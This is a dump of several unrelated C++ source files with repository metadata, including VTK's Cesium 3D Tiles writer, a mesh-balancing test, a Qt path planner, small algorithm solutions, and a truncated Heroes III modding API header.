"<<j<<" " <<i<<" "<<result_doub[j][i]<<endl; } #endif // std::vector<vec_ldoub> result_ldoub; // for(int j=0; j<5; j++) // { // vec_ldoub temp; // for (int i=0; i<result[j].size(); i++) // temp.push_back(std::stold(result[j][i])); // result_ldoub.push_back(temp); // } // for(int j=0; j<5; j++) // { // for (int i=0; i<result_ldoub[j].size(); i++) // cout<<"Result LDoub: "<<j<<" " <<i<<" "<<result_ldoub[j][i]<<endl; // } // //long double check = std::stold(result[4][9]); // double check = std::stod(result[4][9]); // cout<<std::fixed<<std::setprecision(25)<<"Check: "<<check<<endl; // cout<<std::fixed<<std::setprecision(22)<<"Check 2: "<<check<<endl; // cout<<std::fixed<<std::setprecision(20)<<"Check 3: "<<check<<endl<<endl; // double checkz = std::stod(result[3][9]); // cout<<std::fixed<<std::setprecision(25)<<"Check: "<<checkz<<endl; // cout<<std::fixed<<std::setprecision(22)<<"Check 2: "<<checkz<<endl; // cout<<std::fixed<<std::setprecision(20)<<"Check 3: "<<checkz<<endl; Point* globaldata = new Point[numPoints]; // it gives seg fault even for 7000 points if statically allocated double res_old = 0.0; double main_store[62] = {0}; double defprimal[4]; //cout<<"hi"<<endl; getInitialPrimitive(configData, defprimal); printPrimal(defprimal); cout<<"Start Read: "<<endl; // readFile function in Julia for(int i=0; i<numPoints; i++) { if(i==0) continue; // The first line contains the file length int connectivity[20] = {0}; } // Interior, Out and Wall were defined as Int64 in Julia, so am defining them as long long long long interior = configData.point_config.interior; long long wall = configData.point_config.wall; long long outer = configData.point_config.outer; }
24.020147
187
0.638277
Scientific-Computing-BPHC
b0f5bba2905b3d386f3fce1c7fbbf4aa9ef7f454
6,682
cxx
C++
IO/Cesium3DTiles/vtkCesium3DTilesWriter.cxx
QuanPengWang/VTK
6a2b5e8d4e6f5b2184ca7750b624af076b61dd1a
[ "BSD-3-Clause" ]
1
2019-05-31T14:00:53.000Z
2019-05-31T14:00:53.000Z
IO/Cesium3DTiles/vtkCesium3DTilesWriter.cxx
QuanPengWang/VTK
6a2b5e8d4e6f5b2184ca7750b624af076b61dd1a
[ "BSD-3-Clause" ]
null
null
null
IO/Cesium3DTiles/vtkCesium3DTilesWriter.cxx
QuanPengWang/VTK
6a2b5e8d4e6f5b2184ca7750b624af076b61dd1a
[ "BSD-3-Clause" ]
null
null
null
/*========================================================================= Program: Visualization Toolkit Module: vtkCesium3DTilesWriter.cxx Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkCesium3DTilesWriter.h" #include "vtkCellArray.h" #include "vtkDirectory.h" #include "vtkImageReader2.h" #include "vtkInformation.h" #include "vtkLookupTable.h" #include "vtkMath.h" #include "vtkMultiBlockDataSet.h" #include "vtkObjectFactory.h" #include "vtkPointData.h" #include "vtkPolyData.h" #include "vtkPolyDataNormals.h" #include "vtkRenderWindow.h" #include "vtkRenderer.h" #include "vtkTransform.h" #include "vtkTransformFilter.h" #include "vtksys/FStream.hxx" #include <vtkDataObjectTreeIterator.h> #include <vtkIncrementalOctreeNode.h> #include <vtkIncrementalOctreePointLocator.h> #include <vtkJPEGReader.h> #include <vtkLogger.h> #include <vtkPNGReader.h> #include <vtkPolyDataMapper.h> #include <vtkStringArray.h> #include <vtkTexture.h> #include <vtksys/SystemTools.hxx> #include "TreeInformation.h" #include <sstream> using namespace vtksys; vtkStandardNewMacro(vtkCesium3DTilesWriter); namespace { //------------------------------------------------------------------------------ /** * Add building centers to the octree */ vtkSmartPointer<vtkIncrementalOctreePointLocator> BuildOctree( std::vector<vtkSmartPointer<vtkCompositeDataSet>>& buildings, const std::array<double, 6>& wholeBB, int buildingsPerTile) { vtkNew<vtkPoints> points; points->SetDataTypeToDouble(); vtkNew<vtkIncrementalOctreePointLocator> octree; octree->SetMaxPointsPerLeaf(buildingsPerTile); octree->InitPointInsertion(points, &wholeBB[0]); // TreeInformation::PrintBounds("octreeBB", &wholeBB[0]); for (size_t i = 0; i < buildings.size(); ++i) { double bb[6]; buildings[i]->GetBounds(bb); double center[3] = { (bb[0] + bb[1]) / 2.0, (bb[2] + bb[3]) / 2, (bb[4] + bb[5]) / 2 }; octree->InsertNextPoint(center); // std::cout << "insert: " << center[0] << ", " << center[1] << ", " << center[2] // << " number of nodes: " << octree->GetNumberOfNodes() << std::endl; } return octree; } //------------------------------------------------------------------------------ std::array<double, 6> TranslateBuildings(vtkMultiBlockDataSet* root, const double* fileOffset, std::vector<vtkSmartPointer<vtkCompositeDataSet>>& buildings) { std::array<double, 6> wholeBB; root->GetBounds(&wholeBB[0]); // translate the buildings so that the minimum wholeBB is at 0,0,0 vtkNew<vtkTransformFilter> f; vtkNew<vtkTransform> t; t->Identity(); t->Translate(fileOffset); f->SetTransform(t); f->SetInputData(root); f->Update(); vtkMultiBlockDataSet* tr = vtkMultiBlockDataSet::SafeDownCast(f->GetOutputDataObject(0)); tr->GetBounds(&wholeBB[0]); // generate normals - these are needed in Cesium if there are no textures vtkNew<vtkPolyDataNormals> normals; normals->SetInputDataObject(tr); normals->Update(); vtkMultiBlockDataSet* mb = vtkMultiBlockDataSet::SafeDownCast(normals->GetOutputDataObject(0)); auto buildingIt = vtk::TakeSmartPointer(mb->NewTreeIterator()); buildingIt->VisitOnlyLeavesOff(); buildingIt->TraverseSubTreeOff(); for (buildingIt->InitTraversal(); !buildingIt->IsDoneWithTraversal(); buildingIt->GoToNextItem()) { auto building = vtkMultiBlockDataSet::SafeDownCast(buildingIt->GetCurrentDataObject()); if (!building) { buildings.clear(); return wholeBB; } buildings.emplace_back(building); } return wholeBB; } }; //------------------------------------------------------------------------------ vtkCesium3DTilesWriter::vtkCesium3DTilesWriter() { this->DirectoryName = nullptr; this->TexturePath = nullptr; std::fill(this->Offset, this->Offset + 3, 0); this->SaveTextures = true; this->SaveTiles = true; this->MergeTilePolyData = false; this->ContentType = B3DM; this->NumberOfBuildingsPerTile = 100; this->CRS = nullptr; } //------------------------------------------------------------------------------ vtkCesium3DTilesWriter::~vtkCesium3DTilesWriter() { this->SetDirectoryName(nullptr); this->SetTexturePath(nullptr); } //------------------------------------------------------------------------------ void vtkCesium3DTilesWriter::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os, indent); os << indent << "DirectoryName: " << (this->DirectoryName ? this->DirectoryName : "NONE") << indent << "TexturePath: " << (this->TexturePath ? this->TexturePath : "NONE") << endl; } //------------------------------------------------------------------------------ int vtkCesium3DTilesWriter::FillInputPortInformation(int port, vtkInformation* info) { if (port == 0) { info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), "vtkMultiBlockDataSet"); } return 1; } //------------------------------------------------------------------------------ void vtkCesium3DTilesWriter::WriteData() { { auto root = vtkMultiBlockDataSet::SafeDownCast(this->GetInput()); std::vector<vtkSmartPointer<vtkCompositeDataSet>> buildings; vtkLog(INFO, "Translate buildings..."); auto wholeBB = TranslateBuildings(root, this->Offset, buildings); if (buildings.empty()) { vtkLog(ERROR, "No buildings read from the input file. " "Maybe buildings are on a different LOD. Try changing --lod parameter."); return; } vtkLog(INFO, "Processing " << buildings.size() << " buildings..."); vtkDirectory::MakeDirectory(this->DirectoryName); vtkSmartPointer<vtkIncrementalOctreePointLocator> octree = BuildOctree(buildings, wholeBB, this->NumberOfBuildingsPerTile); TreeInformation treeInformation(octree->GetRoot(), octree->GetNumberOfNodes(), buildings, this->DirectoryName, this->TexturePath, this->SaveTextures, this->ContentType, this->CRS); treeInformation.Compute(); vtkLog(INFO, "Generating tileset.json for " << octree->GetNumberOfNodes() << " nodes..."); treeInformation.SaveTileset(std::string(this->DirectoryName) + "/tileset.json"); if (this->SaveTiles) { treeInformation.SaveTiles(this->MergeTilePolyData); } vtkLog(INFO, "Deleting objects ..."); } vtkLog(INFO, "Done."); }
33.918782
99
0.63933
QuanPengWang
b0fac026320c3ea967d81a9500f70ac2a9e732c3
1,434
cc
C++
test/zbalance.cc
Thomas-Ulrich/core
1c7bc7ff994c3570ab22b96d37be0c4c993e5940
[ "BSD-3-Clause" ]
138
2015-01-05T15:50:20.000Z
2022-02-25T01:09:58.000Z
test/zbalance.cc
Thomas-Ulrich/core
1c7bc7ff994c3570ab22b96d37be0c4c993e5940
[ "BSD-3-Clause" ]
337
2015-08-07T18:24:58.000Z
2022-03-31T14:39:03.000Z
test/zbalance.cc
Thomas-Ulrich/core
1c7bc7ff994c3570ab22b96d37be0c4c993e5940
[ "BSD-3-Clause" ]
70
2015-01-17T00:58:41.000Z
2022-02-13T04:58:20.000Z
#include <apf.h> #include <apfMDS.h> #include <apfMesh2.h> #include <apfZoltan.h> #include <gmi_null.h> #include <gmi_mesh.h> #include <parma.h> #include <PCU.h> #include <lionPrint.h> #include <pcu_util.h> #include <cstdlib> // exit and EXIT_FAILURE #ifdef HAVE_SIMMETRIX #include <gmi_sim.h> #include <SimUtil.h> #include <MeshSim.h> #include <SimModel.h> #endif int main(int argc, char** argv) { MPI_Init(&argc,&argv); PCU_Comm_Init(); lion_set_verbosity(1); if ( argc != 4 ) { if ( !PCU_Comm_Self() ) printf("Usage: %s <model> <mesh> <output mesh prefix>\n", argv[0]); MPI_Finalize(); exit(EXIT_FAILURE); } #ifdef HAVE_SIMMETRIX MS_init(); SimModel_start(); Sim_readLicenseFile(NULL); gmi_sim_start(); gmi_register_sim(); #endif gmi_register_null(); gmi_register_mesh(); //load model and mesh apf::Mesh2* m = apf::loadMdsMesh(argv[1],argv[2]); apf::MeshTag* weights = Parma_WeighByMemory(m); apf::Balancer* balancer = makeZoltanBalancer(m, apf::GRAPH, apf::REPARTITION); balancer->balance(weights, 1.10); delete balancer; apf::removeTagFromDimension(m, weights, m->getDimension()); Parma_PrintPtnStats(m, ""); m->destroyTag(weights); m->writeNative(argv[3]); // destroy mds m->destroyNative(); apf::destroyMesh(m); #ifdef HAVE_SIMMETRIX gmi_sim_stop(); Sim_unregisterAllKeys(); SimModel_stop(); MS_exit(); #endif PCU_Comm_Free(); MPI_Finalize(); }
23.129032
80
0.687587
Thomas-Ulrich
b0fe1c0cdaab106469b8c5cd52618b9bb7d24467
1,434
cpp
C++
main.cpp
romixlab/pathplanner
5307f66dcfbc407c170fce0ffbdca00b5c3f1f10
[ "MIT" ]
null
null
null
main.cpp
romixlab/pathplanner
5307f66dcfbc407c170fce0ffbdca00b5c3f1f10
[ "MIT" ]
null
null
null
main.cpp
romixlab/pathplanner
5307f66dcfbc407c170fce0ffbdca00b5c3f1f10
[ "MIT" ]
null
null
null
#include <QGuiApplication> #include <QQmlApplicationEngine> #include <QQmlContext> #include <QSettings> #include <QQuickStyle> #include <QQmlContext> #include "geopath.h" #include "linearpath.h" int main(int argc, char *argv[]) { QGuiApplication::setApplicationName("PathPlanner"); QGuiApplication::setOrganizationName("MarsWorks"); QGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling); QGuiApplication app(argc, argv); QSettings settings; QString style = QQuickStyle::name(); if (!style.isEmpty()) settings.setValue("style", style); else QQuickStyle::setStyle(settings.value("style").toString()); QQmlApplicationEngine engine; engine.load(QUrl("qrc:/main.qml")); if (engine.rootObjects().isEmpty()) return -1; //GeoPath p; // p.setMap(engine.rootObjects()[0]->findChild<QObject *>("qmlMap")); // QList<QGeoCoordinate> l; // l << QGeoCoordinate(55.74795553273474, 37.860303680900216) // << QGeoCoordinate(55.748722422094595, 37.86068991899836) // << QGeoCoordinate(55.751148237045754, 37.863859217170386); // p.setPath(l); // QList<QPointF> l; // l << QPointF(0, 0) << QPointF(100, 0) << QPointF(100, 100); // p.setMetricPath(QGeoCoordinate(55.74650626688504, 37.86000174612559), l); LinearPath p; p.setMap(engine.rootObjects()[0]->findChild<QObject *>("qmlMap")); p.generate(); return app.exec(); }
29.265306
79
0.677824
romixlab
7c00317dd1546fd5bb7d5078fc21296d986ea191
2,074
cpp
C++
CF R418/B.cpp
parthlathiya/Codeforces_Submissions
6c8f40dbeea31a3c3c7d37b799b78f6af4bbcf68
[ "MIT" ]
null
null
null
CF R418/B.cpp
parthlathiya/Codeforces_Submissions
6c8f40dbeea31a3c3c7d37b799b78f6af4bbcf68
[ "MIT" ]
null
null
null
CF R418/B.cpp
parthlathiya/Codeforces_Submissions
6c8f40dbeea31a3c3c7d37b799b78f6af4bbcf68
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; #define rep(i,a,b) for(ll i=a;i<b;i++) #define re(i,b) for(ll i=0;i<b;i++) #define repr(i,n) for(ll i=n-1;i>=0;i--) #define ll long long #define ld long double #define llu long long unsigned #define vll std::vector<ll> #define mll std::map<ll, ll> #define mpll std::map<pair<ll,ll>, ll> #define sll std::set<ll> #define msll std::multiset<ll> #define all(c) c.begin(), c.end() #define allr(c) c.rbegin(), c.rend() #define srt(x) sort(all(x)) #define rsrt(x) sort(allr(x)) #define mp make_pair #define mt make_tuple #define pb push_back #define s(yy) ll yy;cin>>yy #define mod 1000000007 #define maxlong 9223372036854775808 /* ###################################################### # # # @author # # Parth Lathiya # # https://www.cse.iitb.ac.in/~parthiitb/ # # # ###################################################### */ int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); #ifdef PARTH_LATHIYA_HOME freopen("B_in.txt","r",stdin); #endif //-------------------------------------------------------------------------------------- ll n; cin>>n; ll a[n],b[n],c[n]; re(i,n) cin>>a[i]; re(i,n) cin>>b[i]; mll m; vll pos; re(i,n){ if(a[i]==b[i]){ c[i]=a[i]; m[a[i]]=1; } else pos.pb(i); } vll v; rep(i,1,n+1) { if(m[i]!=1) v.pb(i); } if(v.size()==1) { c[pos.back()]=v.back(); } else { ll p=pos[0]; ll q=pos[1]; if(a[p]==v[0] && b[q]==v[1]){ c[p]=v[0]; c[q]=v[1]; } else if(a[p]==v[1] && b[q]==v[0]){ c[p]=v[1]; c[q]=v[0]; } else if(a[q]==v[0] && b[p]==v[1]){ c[p]=v[1]; c[q]=v[0]; } else if(a[q]==v[1] && b[p]==v[0]){ c[p]=v[0]; c[q]=v[1]; } } re(i,n) cout<<c[i]<<" "; //-------------------------------------------------------------------------------------- return 0; }
19.383178
88
0.402122
parthlathiya
7c0bf84f97736616d0909385f8ee9a012d30dd08
3,719
hpp
C++
include/generics/aliveentity.hpp
murilobnt/vulnus
e350f227434306d5d3a7f4d9b22a5eb8d926b81a
[ "MIT" ]
13
2017-05-23T05:38:07.000Z
2022-03-26T16:08:47.000Z
include/generics/aliveentity.hpp
Murilo-Bento/Gnjk
e350f227434306d5d3a7f4d9b22a5eb8d926b81a
[ "MIT" ]
null
null
null
include/generics/aliveentity.hpp
Murilo-Bento/Gnjk
e350f227434306d5d3a7f4d9b22a5eb8d926b81a
[ "MIT" ]
1
2017-08-12T22:25:17.000Z
2017-08-12T22:25:17.000Z
#ifndef _ALIVEENTITY_HPP_ #define _ALIVEENTITY_HPP_ // # External #include <string> #include <SFML/Graphics.hpp> #include <iostream> // # Internal #include "structures/dynamicgrid.hpp" #include "structures/inttostring.hpp" #include "entities/clock/generictimehandler.hpp" #include "generics/spritedentity.hpp" #include "generics/animatedentity.hpp" class AliveEntity : public SpritedEntity, public AnimatedEntity { private: // The entityGravity of the entity float entityGravity; // The framerate of the animation sf::Time spriteAnimationFramerate; bool onCombo; GenericTimeHandler entityComboDelimeter; sf::Text damageOutput; protected: float comboDamage; int quad; // The sprite of the entity //sf::Sprite sprite; // The movement of the entity sf::Vector2f movement; // Flag to check if the entity is jumping bool isJumping; bool doubleJump; // The integer to control the loop of the animation of the entity when it's walking right int animationRightLoop; // The integer to control the loop of the animation of the entity when it's walking left int animationLeftLoop; // Check the orientation of the entity bool facingRight; float maxHealth; // The total health float health; // The speed float speed; // The default speed of the entity float originalSpeed; // Recover player health void increaseHealth(float modifier); // Increase player speed void increaseSpeed(float modifier); // Decrease player health void decreaseHealth(float modifier); // Decrease player speed void decreaseSpeed(float modifier); void setComboDelimeter(int seconds); public: /** * Constructor. * @param x the x position of the entity * @param y the x position of the entity * @param texture the texture for the entity * @param spriteX the x position of the sprite * @param spriteY the y position of the sprite * @param spriteW the width of the sprite * @param spriteH the height of the sprite * @param entityGravity the entityGravity for the entity */ AliveEntity(int x, int y, float health, float speed, sf::Texture const& texture, int spriteX, int spriteY, int spriteW, int spriteH, float entityGravity, int spriteInitX, int spriteEndX, int spriteInitY, int spriteEndY); void moveEntity(); void moveEntity(const DynamicGrid& dynaGrid); /** * Get the movement of this entity. * @return the movement of the entity */ sf::Vector2f getMovement() const; /** * Set the movement of the entity on the X axis. * @param x new movement in X axis */ void setMovementX(float x); /** * Set the movement of the entity on the Y axis. * @param y new movement in Y axis */ void setMovementY(float x); /** * Apply the entityGravity on entity. */ void applyGravity(); /** * Set the animation framerate. * @param fps the animation framerate */ void setAnimationFramerate(float fps); /** * Check if the player is jumping or not. * @return if the player is jumping or not */ bool getIsJumping() const; /** * Set the verifier to the jump of the player. * @param jumping the new state of the jumping verifier */ void setIsJumping(bool jumping); /** * Get the total entityGravity of the entity. * @return the total entityGravity of the entity */ float getGravity() const; float getMaxHealth() const; float getHealth() const; void updateQuad(int newQuad); void updateDamageText(); sf::Text getDamageOutput() const; int getQuad() const; void cccomboBreak(); bool getOnCombo() const; GenericTimeHandler* getEntityComboDelimeter(); void init(const sf::Font& font); void drawText(sf::RenderTarget& target); bool isFacingRight() const; void setDoubleJump(bool doubleJump); }; #endif
21.373563
221
0.728153
murilobnt
7c10282b268505741b8a435ab27df08b634c52b8
588
cpp
C++
UVA01121.cpp
MaSteve/UVA-problems
3a240fcca02e24a9c850b7e86062f8581df6f95f
[ "MIT" ]
17
2015-12-08T18:50:03.000Z
2022-03-16T01:23:20.000Z
UVA01121.cpp
MaSteve/UVA-problems
3a240fcca02e24a9c850b7e86062f8581df6f95f
[ "MIT" ]
null
null
null
UVA01121.cpp
MaSteve/UVA-problems
3a240fcca02e24a9c850b7e86062f8581df6f95f
[ "MIT" ]
6
2017-04-04T18:16:23.000Z
2020-06-28T11:07:22.000Z
#include <iostream> #include <queue> using namespace std; int main() { int N, S; while (cin >> N >> S) { queue<int> q; int sum = 0, len = N + 2; for (int i = 0; i < N; i++) { int val; cin >> val; sum += val; q.push(val); while (sum >= S) { len = min(len, (int) q.size()); if (q.empty()) break; sum -= q.front(); q.pop(); } } if (len == N + 2) len = 0; printf("%d\n", len); } return 0; }
21.777778
47
0.348639
MaSteve
7c1502e934a7bd42405b50b959a2d2d97d8dd5ab
5,884
hpp
C++
src/share/cf_utility.hpp
trueneu/Karabiner-Elements
1c6977e350b586562ac7dad46c830745cf71bb35
[ "Unlicense" ]
null
null
null
src/share/cf_utility.hpp
trueneu/Karabiner-Elements
1c6977e350b586562ac7dad46c830745cf71bb35
[ "Unlicense" ]
null
null
null
src/share/cf_utility.hpp
trueneu/Karabiner-Elements
1c6977e350b586562ac7dad46c830745cf71bb35
[ "Unlicense" ]
null
null
null
#pragma once #include "boost_defs.hpp" #include <CoreFoundation/CoreFoundation.h> #include <boost/optional.hpp> #include <mutex> #include <string> #include <thread> namespace krbn { class cf_utility final { public: template <typename T> class deleter final { public: using pointer = T; void operator()(T _Nullable ref) { if (ref) { CFRelease(ref); } } }; // ======================================== // Converts // ======================================== static boost::optional<std::string> to_string(CFTypeRef _Nullable value) { if (!value) { return boost::none; } if (CFStringGetTypeID() != CFGetTypeID(value)) { return boost::none; } auto cfstring = static_cast<CFStringRef>(value); std::string string; if (auto p = CFStringGetCStringPtr(cfstring, kCFStringEncodingUTF8)) { string = p; } else { auto length = CFStringGetLength(cfstring); auto max_size = CFStringGetMaximumSizeForEncoding(length, kCFStringEncodingUTF8) + 1; char* buffer = new char[max_size]; if (CFStringGetCString(cfstring, buffer, max_size, kCFStringEncodingUTF8)) { string = buffer; } delete[] buffer; } return string; } static boost::optional<int64_t> to_int64_t(CFTypeRef _Nullable value) { if (!value) { return boost::none; } if (CFNumberGetTypeID() != CFGetTypeID(value)) { return boost::none; } auto cfnumber = static_cast<CFNumberRef>(value); int64_t result; if (CFNumberGetValue(cfnumber, kCFNumberSInt64Type, &result)) { return result; } return boost::none; } // ======================================== // CFArray, CFMutableArray // ======================================== static CFArrayRef _Nonnull create_empty_cfarray(void) { return CFArrayCreate(nullptr, nullptr, 0, &kCFTypeArrayCallBacks); } static CFMutableArrayRef _Nonnull create_cfmutablearray(CFIndex capacity = 0) { return CFArrayCreateMutable(nullptr, capacity, &kCFTypeArrayCallBacks); } template <typename T> static T _Nullable get_value(CFArrayRef _Nonnull array, CFIndex index) { if (array && index < CFArrayGetCount(array)) { return static_cast<T>(const_cast<void*>(CFArrayGetValueAtIndex(array, index))); } return nullptr; } template <typename T> static bool exists(CFArrayRef _Nonnull array, T _Nonnull value) { if (array) { CFRange range = {0, CFArrayGetCount(array)}; if (CFArrayContainsValue(array, range, value)) { return true; } } return false; } // ======================================== // CFDictionary, CFMutableDictionary // ======================================== static CFMutableDictionaryRef _Nonnull create_cfmutabledictionary(CFIndex capacity = 0) { return CFDictionaryCreateMutable(nullptr, capacity, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); } // ======================================== // CFRunLoop // ======================================== class run_loop_thread final { public: run_loop_thread(void) : run_loop_(nullptr), running_(false) { thread_ = std::thread([this] { run_loop_ = CFRunLoopGetCurrent(); CFRetain(run_loop_); // Append empty source to prevent immediately quitting of `CFRunLoopRun`. auto context = CFRunLoopSourceContext(); context.perform = perform; auto source = CFRunLoopSourceCreate(kCFAllocatorDefault, 0, &context); CFRunLoopAddSource(run_loop_, source, kCFRunLoopDefaultMode); // Run CFRunLoopPerformBlock(run_loop_, kCFRunLoopDefaultMode, ^{ { std::lock_guard<std::mutex> lock(running_mutex_); running_ = true; } running_cv_.notify_one(); }); CFRunLoopRun(); // Remove source CFRunLoopRemoveSource(run_loop_, source, kCFRunLoopDefaultMode); CFRelease(source); }); } ~run_loop_thread(void) { enqueue(^{ CFRunLoopStop(run_loop_); }); if (thread_.joinable()) { thread_.join(); } if (run_loop_) { CFRelease(run_loop_); } } CFRunLoopRef _Nonnull get_run_loop(void) const { // We wait until running to avoid a segmentation fault which is described in `enqueue`. wait_until_running(); return run_loop_; } void enqueue(void (^_Nonnull block)(void)) const { // Do not call `CFRunLoopPerformBlock` until `CFRunLoopRun` is called. // A segmentation fault occurs if we call `CFRunLoopPerformBlock` while `CFRunLoopRun' is processing. wait_until_running(); CFRunLoopPerformBlock(run_loop_, kCFRunLoopDefaultMode, block); CFRunLoopWakeUp(run_loop_); } private: void wait_until_running(void) const { std::unique_lock<std::mutex> lock(running_mutex_); running_cv_.wait(lock, [this] { return running_; }); } static void perform(void* _Nullable info) { } std::thread thread_; CFRunLoopRef _Nullable run_loop_; bool running_; mutable std::mutex running_mutex_; mutable std::condition_variable running_cv_; }; }; } // namespace krbn
26.745455
107
0.551666
trueneu
7c1c561dce6664d0f453045c3168ff04507944f9
747
cpp
C++
Remove loop in Linked List.cpp
ramamutalik/DSA-450-QNA
ff6dad598f11400e91720878addfb489dff4adaa
[ "MIT" ]
null
null
null
Remove loop in Linked List.cpp
ramamutalik/DSA-450-QNA
ff6dad598f11400e91720878addfb489dff4adaa
[ "MIT" ]
null
null
null
Remove loop in Linked List.cpp
ramamutalik/DSA-450-QNA
ff6dad598f11400e91720878addfb489dff4adaa
[ "MIT" ]
null
null
null
void removeLoop(Node* head) { // code here // just remove the loop without losing any nodes Node* low=head; Node* high=head; while(low!=NULL&&high!=NULL&&high->next!=NULL){ high=high->next->next; low=low->next; if(low==high){ break; } } if(low==high&&high==head){ while(high->next!=low) high=high->next; high->next=NULL; return; } low=head; if(low==high){ while(low->next!=high->next){ // break; low=low->next; high=high->next; } } high->next=NULL; return; }
24.096774
56
0.410977
ramamutalik
7c1dc9d375365a9fb2497cc28b402ff095e64156
105,035
hpp
C++
H3API/lib/h3api/H3Structures/H3Structures.hpp
X-Stuff/H3Plugins
325e7e518ff82b0345c6b55d00a5f7896b372527
[ "MIT" ]
null
null
null
H3API/lib/h3api/H3Structures/H3Structures.hpp
X-Stuff/H3Plugins
325e7e518ff82b0345c6b55d00a5f7896b372527
[ "MIT" ]
null
null
null
H3API/lib/h3api/H3Structures/H3Structures.hpp
X-Stuff/H3Plugins
325e7e518ff82b0345c6b55d00a5f7896b372527
[ "MIT" ]
null
null
null
////////////////////////////////////////////////////////////////////// // // // Created by RoseKavalier: // // rosekavalierhc@gmail.com // // Created: 2019-12-06 // // Last edit: 2020-05-06 // // ***You may use or distribute these files freely // // so long as this notice remains present.*** // // // ////////////////////////////////////////////////////////////////////// #ifndef _H3STRUCTURES_HPP_ #define _H3STRUCTURES_HPP_ #include "../H3_Core.hpp" #include "../H3_Base.hpp" #include "../H3_Vector.hpp" #include "../H3_String.hpp" #include "../H3_MapItems.hpp" #include "../H3_Functions.hpp" namespace h3 { // * forward declarations _H3_DECLARE_(H3NetworkData); _H3_DECLARE_(H3Position); _H3_DECLARE_(H3IndexVector); _H3_DECLARE_(H3Artifact); _H3_DECLARE_(H3AnimationSpeed); _H3_DECLARE_(H3Resources); _H3_DECLARE_(H3Army); _H3_DECLARE_(H3SetupHero); _H3_DECLARE_(H3HeroInfo); _H3_DECLARE_(H3HeroSpecialty); _H3_DECLARE_(H3HeroFlags); _H3_DECLARE_(H3Hero); _H3_DECLARE_(H3Date); _H3_DECLARE_(H3Player); _H3_DECLARE_(H3TownCreatureTypes); _H3_DECLARE_(H3Town); _H3_DECLARE_(H3SpecialBuildingCosts); _H3_DECLARE_(H3NeutralBuildingCosts); _H3_DECLARE_(H3DwellingBuildingCosts); _H3_DECLARE_(H3TownDependencies); _H3_DECLARE_(H3ComboArtifactSetup); _H3_DECLARE_(H3CreatureBank); _H3_DECLARE_(H3CreatureBankState); _H3_DECLARE_(H3CreatureBankSetup); _H3_DECLARE_(H3ValidCatapultTargets); _H3_DECLARE_(H3WallSection); _H3_DECLARE_(H3Spell); _H3_DECLARE_(H3ObstacleInfo); _H3_DECLARE_(H3Obstacle); _H3_DECLARE_(H3CreatureFlags); _H3_DECLARE_(H3CreatureInformation); _H3_DECLARE_(H3CombatMonsterSpellsData); _H3_DECLARE_(H3MonsterAnimation); _H3_DECLARE_(H3CombatMonster); _H3_DECLARE_(H3PrimarySkills); _H3_DECLARE_(H3SecondarySkill); _H3_DECLARE_(H3SecondarySkillInfo); _H3_DECLARE_(H3PandorasBox); _H3_DECLARE_(H3Event); _H3_DECLARE_(H3QuestVector); _H3_DECLARE_(H3Quest); _H3_DECLARE_(H3QuestGuard); _H3_DECLARE_(H3SeerHut); _H3_DECLARE_(H3QuestText); _H3_DECLARE_(H3MapArtifact); _H3_DECLARE_(H3MapResource); _H3_DECLARE_(H3Monster); _H3_DECLARE_(H3GlobalEvent); _H3_DECLARE_(H3CastleEvent); _H3_DECLARE_(H3MainSetup); _H3_DECLARE_(H3CampaignInfo); _H3_DECLARE_(H3ArtifactMerchant); _H3_DECLARE_(H3BlackMarket); _H3_DECLARE_(H3Grail); _H3_DECLARE_(H3TileVision); _H3_DECLARE_(H3PlayersInfo); _H3_DECLARE_(_PlayerUnk_); _H3_DECLARE_(H3MapInfo); _H3_DECLARE_(H3Mine); _H3_DECLARE_(H3Signpost); _H3_DECLARE_(H3Dwelling); _H3_DECLARE_(H3Garrison); _H3_DECLARE_(H3Boat); _H3_DECLARE_(H3QuickBattleCreatures); _H3_DECLARE_(H3AIQuickBattle); _H3_DECLARE_(H3AICombatInfo); _H3_DECLARE_(H3GlobalObjectSettings); _H3_DECLARE_(H3TileMovement); _H3_DECLARE_(H3TurnTimer); _H3_DECLARE_(H3CreatureExchange); _H3_DECLARE_(H3MovementManager); _H3_DECLARE_(H3Main); _H3_DECLARE_(H3Manager); _H3_DECLARE_(H3Executive); _H3_DECLARE_(H3MouseManager); _H3_DECLARE_(H3WindowManager); _H3_DECLARE_(H3SoundManager); _H3_DECLARE_(H3AdventureManager); _H3_DECLARE_(H3SwapManager); _H3_DECLARE_(H3TownManager); _H3_DECLARE_(H3InputManager); _H3_DECLARE_(H3CombatSquare); _H3_DECLARE_(TownTowerLoaded); _H3_DECLARE_(H3AdjacentSquares); _H3_DECLARE_(H3CombatManager); #pragma pack(push, 1) // * a smart pointer sometimes seen in H3 // * used for items with virtual destructors // * use std::unique_ptr || std::shared_ptr ... otherwise template <typename T> struct H3SmartPointer : H3Allocator { protected: // * +0 BOOL8 m_used; h3align m_01[3]; // * +4 T* m_data; public: H3SmartPointer(T* _Ptr = 0); #ifdef _CPLUSPLUS11_ H3SmartPointer(H3SmartPointer<T>&& other); #else H3SmartPointer(H3SmartPointer<T>& other); #endif ~H3SmartPointer(); T* get(); T* operator->(); T* release(); }; struct H3NetworkData { // * +0 INT recipient_id; // -1 means everyone INT _f_04; // * +8 INT msg_id; // * +C INT buffer_size; // sizeof(*this) + extra size of H3NetworkData INT _f_10; // * +14 INT short_data; // * more fields can be added here if more information is needed to be sent _H3API_ H3NetworkData(int recipient_id, int msg_id, int data); _H3API_ INT32 SendData(); }; template <typename T> struct H3NetworkDataExtra : H3NetworkData { H3NetworkDataExtra(int recipient_id, int msg_id, int data, T& extra_data); T extra_data; }; // * stored (x,y,z) coordinates H3format struct H3Position { protected: UINT pos; public: // * Cast operator _H3API_ operator UINT () const; // * returns the packed coordinates _H3API_ UINT Mixed(); // * returns x from coordinates _H3API_ UINT8 GetX(); // * returns y from coordinates _H3API_ UINT8 GetY(); // * returns z from coordinates _H3API_ UINT8 GetZ(); // * provided variables x, y, z, unpacks the coordinates to those variables _H3API_ VOID GetXYZ(INT& 